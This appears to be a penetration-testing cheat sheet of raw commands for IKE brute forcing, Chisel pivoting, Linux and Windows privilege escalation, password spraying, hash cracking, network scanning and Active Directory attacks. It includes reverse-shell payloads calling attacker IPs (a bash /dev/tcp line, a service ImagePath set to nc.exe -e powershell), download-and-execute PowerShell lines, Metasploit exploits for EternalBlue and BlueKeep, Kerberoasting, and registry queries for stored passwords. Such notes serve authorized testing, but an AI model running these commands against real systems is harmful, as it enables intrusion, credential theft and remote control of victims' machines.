- xakep.ru/2015/05/13/ipsec-security-flaws/
- book.hacktricks.xyz/pentesting/ipsec-ike-vpn-pentesting
- www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cracking-ike-missionimprobable-part-1/
Generate list of all transform-sets:
$ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "$ENC,$HASH,$AUTH,$GROUP" >> trans-dict.txt; done; done; done; done
Brute force supported transform-sets:
$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M --trans=$t <IP>) |grep -B14 "1 returned handshake" |grep "Valid trans-set" |tee -a trans.txt; done < trans-dict.txt
Or (for aggressive mode)
$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M -A -P'handshake.txt' -n FAKEID --trans=$t <IP>) |grep -B7 "SA=" |grep "Valid trans-set" |tee -a trans.txt; done < trans-dict.txt
Or
$ sudo python ikeforce.py -s1 -a <IP> # -s1 for max speed
Get information about vendor:
$ sudo ike-scan -M --showbackoff --trans=<TRANSFORM-SET> <IP>
Test for aggressive mode ON:
$ sudo ike-scan -M -A -P -n FAKEID --trans=<TRANSFORM-SET> <IP>
If no hash value is returned then brute force is (maybe also) possible:
$ while read id; do (echo "[+] Valid ID: $id" && sudo ike-scan -M -A -n $id --trans=<TRANSFORM-SET> <IP>) | grep -B14 "1 returned handshake" | grep "Valid ID" |tee -a group-id.txt; done < dict.txt
Or
$ sudo python ikeforce.py <IP> -e -w wordlists/groupnames.dic t <TRANSFORM-SET-IN-SEPARATE-ARGS>
Dicts:
- /usr/share/seclists/Miscellaneous/ike-groupid.txt
- ~/tools/ikeforce/wordlists/groupnames.dic
$ sudo apt install sslscan nikto joomscan wpscan smbmap enum4linux dnsrecon
$ sudo python3 -m pip install droopescan
$ sudo wget https://github.com/vulnersCom/nmap-vulners/raw/master/vulners.nse -O /usr/share/nmap/scripts/vulners.nse && nmap --script-updatedb
$ git clone https://github.com/21y4d/nmapAutomator ~/tools/nmapAutomator
$ sudo ln -s ~/tools/nmapAutomator/nmapAutomator.sh /usr/local/bin/nmapAutomator.sh
$ sudo apt install seclists curl enum4linux gobuster nbtscan nikto nmap onesixtyone oscanner smbclient smbmap smtp-user-enum snmp sslscan sipvicious tnscmd10g whatweb wkhtmltopdf
$ sudo python3 -m pip install git+https://github.com/Tib3rius/AutoRecon.git
- Attacker's IP: 10.10.13.37
- Victims's IP: 10.10.13.38
Reverse forward port 1111 from Windows machine to port 2222 on Linux machine:
root@kali:$ wget [1/linux]
root@kali:$ gunzip chisel*.gz && rm chisel*.gz && mv chisel* chisel && chmod +x chisel
root@kali:$ wget [1/windows]
root@kali:$ gunzip chisel*.exe.gz && rm chisel*.exe.gz && mv chisel*.exe chisel.exe && upx chisel.exe
root@kali:$ md5sum chisel.exe
root@kali:$ ./chisel server -p 8000 -v --reverse
PS > (new-object net.webclient).downloadfile("http://10.10.13.37/chisel.exe", "$env:userprofile\music\chisel.exe")
PS > get-filehash -alg md5 chisel.exe
PS > Start-Process -NoNewWindows chisel.exe client 10.10.13.37:8000 R:127.0.0.1:2222:127.0.0.1:1111
Socks5 proxy with Chisel in server mode:
1. user@victim:$ ./chisel server -p 8000 --socks5 &
2. root@kali:$ ./chisel client 10.10.13.38:8000 socks
Socks5 proxy with Chisel in server mode when direct connection to server is not available (not relevant as Chisel now supports socks5 in client mode):
1. root@kali:$ ./chisel server -p 8000 --reverse
2. user@victim:$ ./chisel client 10.10.13.37:8000 R:127.0.0.1:8001:127.0.0.1:8002 &
3. user@victim:$ ./chisel server -v -p 8002 --socks5 &
4. root@kali:$ ./chisel client 127.0.0.1:8001 1080:socks
Socks5 proxy with Chisel in client mode:
1. root@kali:$ ./chisel server -p 8000 --reverse --socks5
2. user@victim:$ ./chisel client 10.10.13.37:8000 R:socks
1. root@kali:$ ./revsocks -listen :8000 -socks 127.0.0.1:1080 -pass 'Passw0rd!'
2. user@victim:$ ./revsocks -connect 10.14.14.3:8000 -pass 'Passw0rd!'
Find and list all files newer than 2020-03-16
and not newer than 2020-03-17
:
user@vict:$ find / -type f -readable -newermt '2020-03-16' ! -newermt '2020-03-17' -ls 2>/dev/null
Find SUID binaries:
# User
find / -type f -perm /4000 -ls 2>/dev/null
# Group
find / -type f -perm /2000 -ls 2>/dev/null
# Both
find / -type f -perm /6000 -ls 2>/dev/null
LinEnum.sh
:
root@kali:$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh && python3 -m http.server 80
user@vict:$ wget 127.0.0.1/LinEnum.sh -qO- |bash
lse.sh
:
root@kali:$ wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh && python3 -m http.server 80
user@vict:$ wget 127.0.0.1/lse.sh -qO- |bash
linPEAS.sh
(linPEAS):
root@kali:$ wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh && python3 -m http.server 80
user@vict:$ wget 127.0.0.1/linpeas.sh -qO- |sh
pspy
:
root@kali:$ wget [1] && python3 -m http.server 80
user@vict:$ wget 127.0.0.1/pspy -qO /dev/shm/pspy && cd /dev/shm && chmod +x pspy
user@vict:$ ./pspy
- dirtycow.ninja/
- github.com/dirtycow/dirtycow.github.io/wiki/PoCs
- github.com/FireFart/dirtycow/blob/master/dirty.c
whotwagner/logrotten:
$ curl https://github.com/whotwagner/logrotten/raw/master/logrotten.c > lr.c
$ gcc lr.c -o lr
$ cat payloadfile
if [ `id -u` -eq 0 ]; then (bash -c 'bash -i >& /dev/tcp/10.10.15.171/9001 0>&1' &); fi
$ ./lr -p ./payload -t /home/snovvcrash/backups/access.log -d
- github.com/whotwagner/logrotten
- tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
- tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
- popsul.ru/blog/2013/01/post-42.html
/etc/update-motd.d/
:
root@kali:$ shellpop --reverse --number 8 -H 127.0.0.1 -P 1337 --base64
root@kali:$ echo '<BASE64_SHELL>' >> 00-header
* Fire up new SSH session and catch the reverse shell
PAM MOTD:
PowerShell history:
PS > Get-Content C:\Users\snovvcrash\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
winPEAS:
root@kali:$ git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite ~/tools/privilege-escalation-awesome-scripts-suite
root@kali:$ cp ~/tools/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe . && python3 -m http.server 80
PS > (new-object net.webclient).downloadfile('http://127.0.0.1/winPEAS.exe', 'C:\Users\snovvcrash\music\winPEAS.exe')
PowerUp.ps1:
- github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
- github.com/HarmJ0y/CheatSheets/blob/master/PowerUp.pdf
- recipeforroot.com/advanced-powerup-ps1-usage/
$ curl -L https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 > powerup.ps1
PS > Invoke-PrivescAudit
Sherlock.ps1:
root@kali:$ wget https://github.com/rasta-mouse/Sherlock/raw/master/Sherlock.ps1 && python3 -m http.server 80
powershell.exe -exec bypass -nop -c "iex(new-object net.webclient).downloadstring('http://127.0.0.1/PowerUp.ps1')"
PS > powershell.exe -exec bypass -c "& {Import-Module .\Sherlock.ps1; Find-AllVulns |Out-File sherlock.txt}"
Watson:
JAWS:
root@kali:$ wget https://github.com/411Hall/JAWS/raw/master/jaws-enum.ps1 && python3 -m http.server 80
PS > powershell.exe -exec bypass -nop -c "iex(new-object net.webclient).downloadstring('http://127.0.0.1/jaws-enum.ps1')"
PS > .\jaws-enum.ps1 -OutputFileName jaws-enum.txt
PrivescCheck:
Cmd > powershell -ep bypass -c ". .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck -Extended | Tee-Object result.txt"
Windows-Exploit-Suggester:
$ python -u windows-exploit-suggester.py -d 2020-09-02-mssb.xls -i systeminfo.txt --ostext 'windows 10 64-bit' --hotfixes hotfixes.txt | tee wes.log
PS > cmd /c dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
PS > cmd /c where /R C:\ *.ini
PS > reg query HKLM /f "password" /t REG_SZ /s
PS > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | findstr /i "DefaultUserName DefaultDomainName DefaultPassword AltDefaultUserName AltDefaultDomainName AltDefaultPassword LastUsedUsername"
Or
PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | select DefaultPassword
PS > reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" | findstr /i proxy
- habr.com/ru/company/pm/blog/442662/
- 0xdf.gitlab.io/2020/01/27/digging-into-psexec-with-htb-nest.html
- 0xdf.gitlab.io/2020/06/01/resolute-more-beyond-root.html
- security-tzu.com/2020/11/01/setobjectsecurity-exe-sddl/
meterpreter > upload [3]
meterpreter > load incognito
meterpreter > execute -cH -f rottenpotato.exe
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
- github.com/foxglovesec/RottenPotato
- foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
- github.com/foxglovesec/RottenPotato/raw/master/rottenpotato.exe
Cmd > certutil -urlcache -split -f http://127.0.0.1/[3] C:\Windows\System32\spool\drivers\color\j.exe
Cmd > certutil -urlcache -split -f http://127.0.0.1/rev.bat C:\Windows\System32\spool\drivers\color\rev.bat
root@kali:$ nc -lvnp 443
Cmd > j.exe -l 443 -p C:\Windows\System32\spool\drivers\color\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
;= rem rev.bat
cmd /c powershell -NoP IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/[4]')
- github.com/ohpe/juicy-potato
- ohpe.it/juicy-potato/CLSID
- github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
- github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
PS > Get-Acl HKLM:\SYSTEM\CurrentControlSet\services\* | format-list * | findstr /i "snovvcrash Users Path ChildName"
PS > Get-ItemProperty HKLM:\System\CurrentControlSet\services\wuauserv
PS > reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\Windows\System32\spool\drivers\color\nc.exe 10.10.14.16 1337 -e powershell" /f
PS > Start-Service wuauserv
...get reverse shell...
PS > Get-Service wuauserv
PS > Stop-Service wuauserv
PS > $cred = New-Object System.Management.Automation.PSCredential('<HOSTNAME>\<USERNAME>', $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force))
Invoke-Command with -Credential
:
PS > Invoke-Command -ComputerName <HOSTNAME> -ScriptBlock { whoami } -Credential $cred
Invoke-Command with -Session
:
PS > $s = New-PSSession -ComputerName <HOSTNAME> -Credential $cred
PS > Invoke-Command -ScriptBlock { whoami } -Session $s
Start-Process with -Credential
PS > Start-Process -FilePath "cmd" -ArgumentList "/c ping -n 1 10.10.13.37" -Credential $cred
root@kali:$ hydra -V -t 20 -f -I -L logins.lst -P /usr/share/john/password.lst 127.0.0.1 -s 8888 smtp
root@kali:$ hydra -V -t 20 -f -I -l admin -P /usr/share/john/password.lst 127.0.0.1 -s 8888 ftp
root@kali:$ patator smtp_login host=127.0.0.1 port=8888 user=FILE0 password=FILE1 0=logins.lst 1=/usr/share/john/password.lst -x ignore:mesg='(515) incorrect password or account name' -x free=user:code=0
root@kali:$ patator ftp_login host=127.0.0.1 port=8888 user=admin password=FILE0 0=/usr/share/john/password.lst -x ignore:mesg='Login incorrect.' -x free=user:code=0
$ hashcat --example-hashes | grep -B1 -i md5
$ hashcat -m 500 hashes/file.hash /usr/share/wordlists/rockyou.txt --username
$ hashcat -m 500 hashes/file.hash --username --show
Benchmarks:
root@kali:$ nvidia-smi.exe
# MD5
root@kali:$ ./hashcat64.exe -m 0 -b
# NTLM
root@kali:$ ./hashcat64.exe -m 1000 -b
Единица хэшрейта | Хэшрейт | Хэши в секунду |
---|---|---|
1kH/s | 1000 | Тысяча |
1MH/s | 1000000 | Одинмиллион |
1GH/s | 1000000000 | Одинмиллиард |
1TH/s | 1.000.000.000.000 | Одинтриллион |
1PH/s | 1.000.000.000.000.000 | Одинквадриллион |
1EH/s | 1.000.000.000.000.000.000 | Одинквинтиллион |
1ZH/s | 1.000.000.000.000.000.000.000 | Одинсекстиллион |
root@kali:$ mkdir -p discovery/{subnets,hosts,services/names} exploitation/ loot/ report/{logs,screenshots}
root@kali:$ ip addr (ifconfig)
root@kali:$ ip route (route -n)
root@kali:$ cat /etc/resolve.conf
root@kali:$ arp -a
CWD: discovery/
- edublog.bitcrack.net/2016/09/scanning-network-using-netdiscover-arp.html
- null-byte.wonderhowto.com/how-to/use-abuse-address-resolution-protocol-arp-locate-hosts-network-0150333/
- www.blackhillsinfosec.com/analyzing-arp-to-discover-exploit-stale-network-address-configurations/
Active:
root@kali:$ arp-scan -l [-s <SPOOFED_IP>] -v
root@kali:$ arp-scan -I eth0 192.168.0.1/24
Passive:
root@kali:$ netdiscover -i eth0 -r 192.168.0.1/24 -p
Active, sending 20 requests per IP:
root@kali:$ netdiscover -i eth0 -r 192.168.0.1/24 -c 20
Take 10.0.0.0/8
as an example:
root@kali:$ nmap -n -sn 10.0-255.0-255.1 -oA subnets/gateways -PE --min-rate 10000 --min-hostgroup 10000
root@kali:$ grep 'Up' subnets/gateways.gnmap |cut -d' ' -f2 > subnets/ranges.txt
root@kali:$ sed -i subnets/ranges.txt -e 's/$/\/24/'
Passive traffic analyze. Look for broadcast/multicast, IPv6 packets:
- ARP
- LLMNR, NBNS
- STP
- DHCPv6, ICMPv6
- mDNS
Bash:
root@kali:$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 $NET.$i > /dev/null && echo "$NET.$i" |tee -a hosts/pingsweep.txt &); done
Or
root@kali:$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 "$NET.$i" |grep 'bytes from' |cut -d' ' -f4 |cut -d':' -f1 |tee -a hosts/pingsweep.txt &); done
root@kali:$ sort -u -t'.' -k4,4n hosts/pingsweep.txt > hosts/targets.txt && rm hosts/pingsweep.txt
PowerShell:
PS > $NET="192.168.0";for($i=1;$i -lt 255;$i++){$command="ping -n 1 -w 100 $NET.$i > nul 2>&1 && echo $NET.$i";start-process -nonewwindow "cmd" -argumentlist "/c $command" -redirectstandardoutput "tmp$i.txt"};cat tmp*.txt > sweep.txt
PS > rm tmp*.txt
Nmap:
root@kali:$ nmap -n -sn -iL subnets/ranges.txt -oA hosts/pingsweep -PE
root@kali:$ grep 'Up' hosts/pingsweep.gnmap |cut -d' ' -f2 |sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n > hosts/targets.txt
Remote Management Interfaces:
Port | Service |
---|---|
22 | SSH |
3389 | RDP |
2222 | SSH? |
5900 | VNC |
5985 | WinRM |
5986 | WinRM over SSL/TLS |
Nmap:
root@kali:$ nmap -n -Pn -iL subnets/ranges.txt -oA hosts/rmisweep -p22,3389,2222,5985,5986 [--min-rate 1280 --min-hostgroup 256]
root@kali:$ grep 'open' hosts/rmisweep.gnmap |cut -d' ' -f2 |sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n >> hosts/targets.txt
Invoke-Portscan.ps1
:
- github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1
- powersploit.readthedocs.io/en/latest/Recon/Invoke-Portscan/
$ curl -L https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1 > portscan.ps1
PS > Invoke-Portscan -Hosts 127.0.0.1/24 -T 4 -TopPorts 25 -oA localnet
parsenmap.rb
:
root@kali:$ git clone https://github.com/R3dy/parsenmap-rb ~/tools/parsenmap-rb && cd ~/tools/parsenmap-rb
root@kali:$ bundle install && ln -s ~/tools/parsenmap-rb/parsenmap.rb /usr/local/bin/parsenmap.rb && cd -
root@kali:$ parsenmap.rb --help
nmaptocsv
:
root@kali:$ git clone https://github.com/maaaaz/nmaptocsv ~/tools/nmaptocsv && cd ~/tools/nmaptocsv
root@kali:$ python3 -m pip install -r requirements.txt csvkit && ln -s ~/tools/nmaptocsv/nmaptocsv.py /usr/local/bin/nmaptocsv.py && cd -
root@kali:$ nmaptocsv.py --help
parsenmap.py
:
root@kali:$ wget https://github.com/snovvcrash/cheatsheets/raw/master/tools/parsenmap.py -O ~/tools/parsenmap-py/parsenmap.py && chmod +x ~/tools/parsenmap-py/parsenmap.py
root@kali:$ ln -s ~/tools/parsenmap-py/parsenmap.py /usr/local/bin/parsenmap.py
Echo:
root@kali:$ IP="0.0.0.0"; for p in $(seq 1 65535); do (timeout 1 bash -c "echo '.' >/dev/tcp/$IP/$port && echo OPEN:$port" >> hosts/ports.txt &) 2>/dev/null; done
root@kali:$ sort -u -t':' -k1,1n hosts/ports.txt > hosts/echo-ports.txt && rm hosts/ports.txt
Netcat:
root@kali:$ seq 1 65535|xargs -n 1|xargs -P 0 -I {} nc -nv -z -w1 0.0.0.0 {} 2>&1| grep -vE "timed out|now in progress|Connection refused"
Nmap:
root@kali:$ nmap -n -Pn -iL hosts/targets.txt -oA services/?-top-ports [--top-ports ? -T4 --min-rate 1280 --min-hostgroup 256]
root@kali:$ grep 'open' services/?-top-ports.gnmap
root@kali:$ parsenmap.rb services/?-top-ports.xml
root@kali:$ nmaptocsv.py -x services/?-top-ports.xml -d',' -f ip-fqdn-port-protocol-service-version-os |csvlook -I
root@kali:$ nmap -n -Pn -iL hosts/targets.txt -oA services/quick-sweep -p22,25,53,80,443,445,1433,3306,3389,5800,5900,8080,8443 [-T4 --min-rate 1280 --min-hostgroup 256]
root@kali:$ grep 'open' services/quick-sweep.gnmap
root@kali:$ parsenmap.rb services/quick-sweep.xml
root@kali:$ nmaptocsv.py -x services/quick-sweep.xml -d',' -f ip-fqdn-port-protocol-service-version-os |csvlook -I
root@kali:$ nmap -n -Pn -sV -sC -iL hosts/targets.txt -oA services/alltcp-versions -p0-65535 --min-rate 50000 --min-hostgroup 256
Define which NSE scripts ran:
root@kali:$ grep '|_' services/alltcp-versions.nmap |cut -d'_' -f2 |cut -d' ' -f1 |sort -u |grep ':'
Look at HTTP titles:
root@kali:$ grep -i 'http-title' services/alltcp-versions.nmap
Examine version scan:
root@kali:$ parsenmap.rb services/alltcp-versions.xml > services/alltcp-versions.csv
Or
nmaptocsv.py -x services/alltcp-versions.xml -d',' -f ip-fqdn-port-protocol-service-version-os > services/alltcp-versions.csv
Split version scan by service names:
root@kali:$ parsenmap.py -i services/alltcp-versions.xml
Discover domain NetBIOS name:
PS > ([ADSI]"LDAP://megacorp.local").dc
PS > $DomainName = (Get-ADDomain).DNSRoot
PS > (Get-ADDomain -Server $DomainName).NetBIOSName
Discover DCs' FQDN names:
PS > nslookup -type=all _ldap._tcp.dc._msdcs.$env:userdnsdomain
PS > $ldapFilter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
PS > $searcher = [ADSISearcher]$ldapFilter
PS > $searcher.FindAll()
PS > $searcher.FindAll() | ForEach-Object { $_.GetDirectoryEntry() }
Or
PS > ([ADSISearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))").FindAll() |ForEach-Object { $_.GetDirectoryEntry() }
PS > [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().DomainControllers.Name
Cmd > nltest /dsgetdc:megacorp.local
PS > $DomainName = (Get-ADDomain).DNSRoot
PS > $AllDCs = Get-ADDomainController -Filter * -Server $DomainName | Select-Object Hostname,Ipv4address,isglobalcatalog,site,forest,operatingsystem
PS > $AllDCs = (Get-ADForest).GlobalCatalogs
PowerView3 > Get-DomainController | Select Name,IPAddress
Discover MS Exchnage servers' FQDN names:
$ curl -L https://github.com/PyroTek3/PowerShell-AD-Recon/raw/master/Discover-PSMSExchangeServers > discover-exch.ps1
PS > Discover-PSMSExchangeServers | Select ServerName,Description | Tee-Object exch.txt
Discover MS SQL servers' FQDN names:
- github.com/NetSPI/PowerUpSQL
- github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers
$ curl -L https://github.com/NetSPI/PowerUpSQL/raw/master/PowerUpSQL.ps1 > powerupsql.ps1
PS > Get-SQLInstanceDomain
PS > Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 10 -UserName sa -Password 'Passw0rd!' -Verbose
PS > Invoke-SQLOSCmd -UserName sa -Password 'Passw0rd!' -Instance sqlsrv01.megacorp.local -Command whoami
$ curl -L https://github.com/PyroTek3/PowerShell-AD-Recon/raw/master/Discover-PSMSSQLServers > discover-mssql.ps1
PS > Discover-PSMSSQLServers | Select ServerName,Description | Tee-Object mssql.txt
msf > use auxiliary/scanner/netbios/nbname
CVE-2008-4250, MS08-067
Check:
msf > use exploit/windows/smb/ms08_067_netapi
msf > check
Exploit:
msf > use exploit/windows/smb/ms08_067_netapi
msf > exploit
CVE-2017-0144, MS17-010
Check:
msf > use auxiliary/scanner/smb/smb_ms17_010
Exploit:
msf > exploit/windows/smb/ms17_010_eternalblue
CVE-2019-0708
Check:
msf > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep_rce
Exploit:
msf > exploit/windows/rdp/cve_2019_0708_bluekeep_rce
CVE-2020-1350
Check:
$ curl -L https://github.com/T13nn3s/CVE-2020-1350/raw/master/CVE-2020-1350-checker.ps1 > CVE-2020-1350-checker.ps1
PS > .\CVE-2020-1350-checker.ps1
Please make a selection: 1
CVE-2020-1472
- github.com/SecuraBV/CVE-2020-1472
- github.com/dirkjanm/CVE-2020-1472
- github.com/blackarrowsec/redteam-research/tree/master/CVE-2020-1472
Grep only numbers to get list of ports separated by comma:
root@kali:$ cat nmap/initial.nmap |egrep -o '^[0-9]{1,5}' |awk -F/ '{ print $1 }' ORS=','; echo
Fast port discovery (Masscan) + versions and NSE scripts (Nmap):
root@kali:$ masscan --rate=1000 -e tun0 -p0-65535,U:0-65535 127.0.0.1 > ports
root@kali:$ ports=`cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr "\n" ',' | sed 's/,$//'`
root@kali:$ nmap -n -Pn -sV -sC [-sT] [--reason] -oA nmap/output 127.0.0.1 -p$ports
root@kali:$ rm ports
Fast port discovery (Nmap) + versions and NSE scripts (Nmap):
root@kali:$ nmap -n -Pn --min-rate=1000 -T4 127.0.0.1 -p- -vvv | tee ports
root@kali:$ ports=`cat ports | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed 's/,$//'`
root@kali:$ nmap -n -Pn -sV -sC [-sT] [--reason] -oA nmap/output 127.0.0.1 -p$ports
root@kali:$ rm ports
Top TCP ports:
Port | Service |
---|---|
21 | FTP |
22 | SSH |
23 | Telnet |
25 | SMTP |
53 | DNS |
80 | HTTP |
88 | KDC |
111 | SUNRPC |
135 | MSRPC |
137 | NetBIOS |
139 | SMB |
389 | LDAP |
443 | SSL/TLS |
445 | SMB |
464 | KPASSWD |
593 | HTTP RPC Endpoint Mapper |
636 | LDAP over SSL/TLS |
873 | RSYNC |
1099 | JavaRMI |
1433 | MSSQL |
1521 | Oracle |
2049 | NFS |
3268 | Microsoft Global Catalog |
3269 | Microsoft Global Catalog |
3306 | MySQL/MariaDB |
3389 | RDP |
4786 | Cisco Smart Install |
5432 | PostgreSQL |
5555 | HP Data Protector |
5900 | VNC |
5985 | WinRM |
5986 | WinRM over SSL/TLS |
6379 | Redis |
8080 | HTTP |
8443 | SSL/TLS |
9389 | Active Directory Web Services |
9200 | Elasticsearch |
27017 | MongoDB |
Top UDP ports:
Port | Service |
---|---|
53 | DNS |
67 | DHCP |
68 | DHCP |
69 | TFTP |
88 | KDC |
123 | NTP |
137 | NetBIOS |
161 | SNMP |
162 | SNMPTRAP |
500 | IKE |
3391 | RD Gateway |
$ sudo masscan --rate=500 --open -p22,80,443,U:161,U:500 -iL routes.txt --resume paused.conf >> alltcp.txt
$ mkdir services && for p in 21 22 23 25 53 80 88 111 135 137 139 161 389 443 445 464 500 593 636 873 1099 1433 1521 2049 3268 3269 3306 3389 4786 5432 5555 5900 5985 5986 6379 8080 9389 9200 27017; do grep "port $p/tcp" alltcp.txt | awk -F' ' '{print $6}' | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n > "services/port$p.txt"; done
Flag -A
:
root@kali:$ nmap -A ... == nmap -sC -sV -O --traceroute ...
Enum WAF:
root@kali:$ nmap --script http-waf-detect 127.0.0.1 -p80
root@kali:$ nmap --script http-waf-fingerprint 127.0.0.1 -p80
+ wafw00f.py
Potentially valid users if got any, John Doe
as an example:
root@kali:$ cat << EOF >> passwords.txt
johndoe
jdoe
j.doe
doe
EOF
Common usernames:
root@kali:$ cat << EOF >> passwords.txt
admin
administrator
root
guest
sa
changeme
password
EOF
Common patterns:
root@kali:$ cat << EOF >> passwords.txt
January
February
March
April
May
June
July
August
September
October
November
December
Autumn
Fall
Spring
Winter
Summer
password
Password
P@ssw0rd
secret
Secret
S3cret
EOF
Add year and exclamation point to the end of each password:
root@kali:$ for i in $(cat passwords.txt); do echo "${i}"; echo "${i}\!"; echo "${i}2020"; echo "${i}2020\!"; done > t
root@kali:$ cp t passwords.txt
Mutate the wordlist with hashcat rules:
root@kali:$ hashcat --force --stdout passwords.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles1.rule |sort -u |awk 'length($0) > 7' > t
root@kali:$ cp t passwords.txt
Simple list for password spraying:
root@kali:$ cat << EOF >> passwords.txt
admin
root
changeme
Password
Password1
Password!
Password2020
Password2020!
Gfhjkm
Gfhjkm1
Gfhjkm!
Gfhjkm2020
Gfhjkm2020!
Megacorp
Megacorp1
Megacorp!
Megacorp2020
Megacorp2020!
EOF
$ cewl -d 5 -m 5 -w passwords.txt --with-numbers --email_file emails.txt http://megacorp.local/somedir/logs/html/index.htm
$ sudo apt install neo4j
$ mkdir -p /usr/share/neo4j/logs/
$ sudo neo4j console
...change default password at localhost:7474...
$ sudo neo4j start
$ wget https://github.com/BloodHoundAD/BloodHound/releases/latest
$ unzip BloodHound-linux-x64.zip && rm BloodHound-linux-x64.zip && cd BloodHound-linux-x64
$ sudo ./BloodHound --no-sandbox
Or
$ sudo chown root:root chrome-sandbox
$ sudo chmod 4755 chrome-sandbox
$ ./BloodHound
Collect graphs via Ingestors/SharpHound.ps1
:
PS > Invoke-Bloodhound -CollectionMethod All,GPOLocalGroup,LoggedOn -Domain MEGACORP.LOCAL -LDAPUser snovvcrash -LDAPPass 'Passw0rd!'
Run session loop (~2 hours for best results):
PS > .\SharpHound.exe -c SessionLoop
Show percentage of collected user sessions (example):
# http://localhost:7474/browser/
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange
Collect graphs via BloodHound.py
(with BloodHound running):
$ git clone https://github.com/fox-it/BloodHound.py ~/tools/BloodHound.py && cd ~/tools/BloodHound.py && python setup.py install && cd -
$ bloodhound-python -c All -u snovvcrash -p 'Passw0rd!' -d MEGACORP.LOCAL -ns 127.0.0.1
$ git clone https://github.com/SecureAuthCorp/impacket ~/tools/impacket && cd ~/tools/impacket
$ pipenv install -r requirements.txt && pipenv shell
(impacket) $ pip install .
(impacket) $ python examples/psexec.py
$ lookupsid.py MEGACORP/s.freeside:'Passw0rd!'@127.0.0.1 20000
$ GetUserSPNs.py MEGACORP/s.freeside:'Passw0rd!' -dc-ip 127.0.0.1 -save
$ ./hashcat64.exe -m 13100 -a 0 -w 4 -O --session=snovvcrash hashes/asprep.txt seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
$ GetNPUsers.py MEGACORP/ -dc-ip 127.0.0.1 -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt -request -format hashcat -outputfile asprep.txt | tee GetNPUsers.log
$ cat GetNPUsers.log | grep -v 'Client not found in Kerberos database'
$ ./hashcat64.exe -m 18200 -a 0 -w 4 -O --session=snovvcrash hashes/asprep.txt seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
Install bleeding-edge:
$ git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec ~/tools/CrackMapExec && cd ~/tools/CrackMapExec
$ pipenv install && pipenv shell
(CrackMapExec) $ python setup.py install
(CrackMapExec) $ sudo ln -s /home/snovvcrash/.virtualenvs/CrackMapExec/bin/crackmapexec /usr/bin/CME
(CrackMapExec) $ CME smb 127.0.0.1 -u 'anonymous' -p ''
Or
$ pipx install crackmapexec
$ pipx run crackmapexec smb 127.0.0.1 -u 'anonymous' -p ''
Use:
$ CME smb 127.0.0.1
$ CME smb 127.0.0.1 -u anonymous -p '' --shares
$ CME smb 127.0.0.1 -u snovvcrash -p /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
$ CME smb 127.0.0.1 -u nullinux_users.txt -p 'Passw0rd!' --shares [--continue-on-success]
$ CME smb 127.0.0.1 -u snovvcrash -p 'Passw0rd!' --spider-folder 'E\$' --pattern s3cret
$ CME smb 127.0.0.1 -u j.doe -p 'Passw0rd!' -d 'CORP' --spider Users --pattern '.'
